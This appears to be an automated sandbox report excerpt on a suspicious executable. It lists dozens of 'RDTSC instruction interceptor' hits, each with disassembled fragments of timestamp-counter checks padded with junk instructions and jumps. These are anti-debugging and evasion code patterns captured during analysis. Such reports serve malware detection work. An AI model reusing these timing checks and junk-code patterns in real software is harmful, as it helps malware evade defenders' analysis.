Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A282E8 second address: A282F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FA6C4EBA07Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A28425 second address: A2844F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4CAD511h 0x00000009 jmp 00007FA6C4CAD515h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A2844F second address: A28495 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA6C4EBA076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FA6C4EBA078h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 jl 00007FA6C4EBA076h 0x0000001c push eax 0x0000001d pop eax 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FA6C4EBA084h 0x00000026 jmp 00007FA6C4EBA07Fh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A288CE second address: A288F5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA6C4CAD50Eh 0x00000008 jc 00007FA6C4CAD50Ch 0x0000000e jo 00007FA6C4CAD506h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 je 00007FA6C4CAD506h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A28E8D second address: A28EAD instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA6C4EBA07Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA6C4EBA080h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A296F8 second address: A296FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A296FC second address: A29700 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A29700 second address: A29712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FA6C4CAD506h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A29712 second address: A29716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A31B41 second address: A31B63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FA6C4CAD506h 0x0000000e jmp 00007FA6C4CAD514h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A31B63 second address: A31B6D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA6C4EBA076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A31B6D second address: A31B74 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A31DF3 second address: A31E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4EBA07Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A31E01 second address: A31E05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A31E05 second address: A31E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FA6C4EBA076h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A31E13 second address: A31E25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A31F87 second address: A31FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FA6C4EBA086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A31FA2 second address: A31FA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A31FA7 second address: A31FC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4EBA086h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A32128 second address: A32135 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA6C4CAD506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A32278 second address: A32294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4EBA088h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A32294 second address: A322A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 ja 00007FA6C4CAD506h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A322A2 second address: A322AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FA6C4EBA076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A322AC second address: A322B7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A3A47F second address: A3A498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jns 00007FA6C4EBA076h 0x0000000c popad 0x0000000d jnp 00007FA6C4EBA07Ch 0x00000013 jc 00007FA6C4EBA076h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A388BC second address: A388CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FA6C4CAD506h 0x0000000a jc 00007FA6C4CAD506h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A38B5B second address: A38B6A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA6C4EBA07Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A38CFA second address: A38D12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4CAD514h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A39279 second address: A3927D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A3927D second address: A3928D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD50Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A3928D second address: A39299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FA6C4EBA076h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A39299 second address: A3929D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A3A348 second address: A3A34C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A3A34C second address: A3A357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A382A7 second address: A382BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d jng 00007FA6C4EBA076h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A382BB second address: A382C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A41B64 second address: A41B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A41B69 second address: A41B6E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A4158D second address: A41599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FA6C4EBA076h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A4171E second address: A4172E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA6C4CAD506h 0x00000008 js 00007FA6C4CAD506h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A4E5E1 second address: A4E5E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A4E5E7 second address: A4E5ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A4E5ED second address: A4E60A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA07Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jno 00007FA6C4EBA076h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A4E60A second address: A4E60F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A51132 second address: A51142 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007FA6C4EBA07Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A51142 second address: A51155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA6C4CAD50Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A50CB0 second address: A50CC3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA6C4EBA076h 0x00000008 jbe 00007FA6C4EBA076h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A5386D second address: A53877 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA6C4CAD506h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A53877 second address: A53882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A539DA second address: A539DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A539DF second address: A539E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A539E4 second address: A539EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A5C0FC second address: A5C125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA6C4EBA076h 0x0000000a popad 0x0000000b pushad 0x0000000c jbe 00007FA6C4EBA076h 0x00000012 jmp 00007FA6C4EBA084h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A5D741 second address: A5D747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A5D747 second address: A5D74B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A64B11 second address: A64B1D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A64B1D second address: A64B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edi 0x0000000a jmp 00007FA6C4EBA07Fh 0x0000000f js 00007FA6C4EBA076h 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A64B3D second address: A64B59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD50Fh 0x00000007 pushad 0x00000008 ja 00007FA6C4CAD506h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A64941 second address: A64947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A64947 second address: A64951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA6C4CAD506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A6D952 second address: A6D956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A6C5CC second address: A6C5D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A6C9DC second address: A6C9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A6C9E8 second address: A6C9EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A6D621 second address: A6D63A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FA6C4EBA07Eh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A72504 second address: A72516 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FA6C4CAD50Eh 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A72516 second address: A7251A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A7251A second address: A72546 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FA6C4CAD519h 0x00000008 pop esi 0x00000009 pushad 0x0000000a jbe 00007FA6C4CAD506h 0x00000010 jg 00007FA6C4CAD506h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A74143 second address: A74147 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A74147 second address: A74151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A7E3E5 second address: A7E3EB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A7E254 second address: A7E25E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FA6C4CAD506h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A7E25E second address: A7E264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A7E264 second address: A7E27C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA6C4CAD508h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FA6C4CAD506h 0x00000012 jg 00007FA6C4CAD506h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A83584 second address: A8358A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A7CB42 second address: A7CB5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD518h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A904AD second address: A904C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA07Eh 0x00000007 jng 00007FA6C4EBA076h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A8FFF1 second address: A8FFFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FA6C4CAD506h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A90196 second address: A901CE instructions: 0x00000000 rdtsc 0x00000002 je 00007FA6C4EBA076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FA6C4EBA089h 0x0000000f jmp 00007FA6C4EBA082h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: A901CE second address: A901D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: AA5438 second address: AA5454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA6C4EBA086h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: AA55AE second address: AA55FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007FA6C4CAD506h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jne 00007FA6C4CAD506h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 je 00007FA6C4CAD542h 0x0000001e js 00007FA6C4CAD51Bh 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 jmp 00007FA6C4CAD513h 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FA6C4CAD511h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: AA5E2A second address: AA5E30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: AA5E30 second address: AA5E4F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jns 00007FA6C4CAD506h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FA6C4CAD50Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: AA613B second address: AA6140 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: AA6140 second address: AA615F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA6C4CAD506h 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jnp 00007FA6C4CAD506h 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 js 00007FA6C4CAD506h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: AA615F second address: AA6165 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: AAA67E second address: AAA682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5050534 second address: 505056A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4EBA085h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA6C4EBA088h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 505056A second address: 5050579 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4CAD50Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 5050579 second address: 5050591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4EBA084h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50706F6 second address: 50706FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 50706FC second address: 507070D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4EBA07Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	RDTSC instruction interceptor: First address: 507070D second address: 5070711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
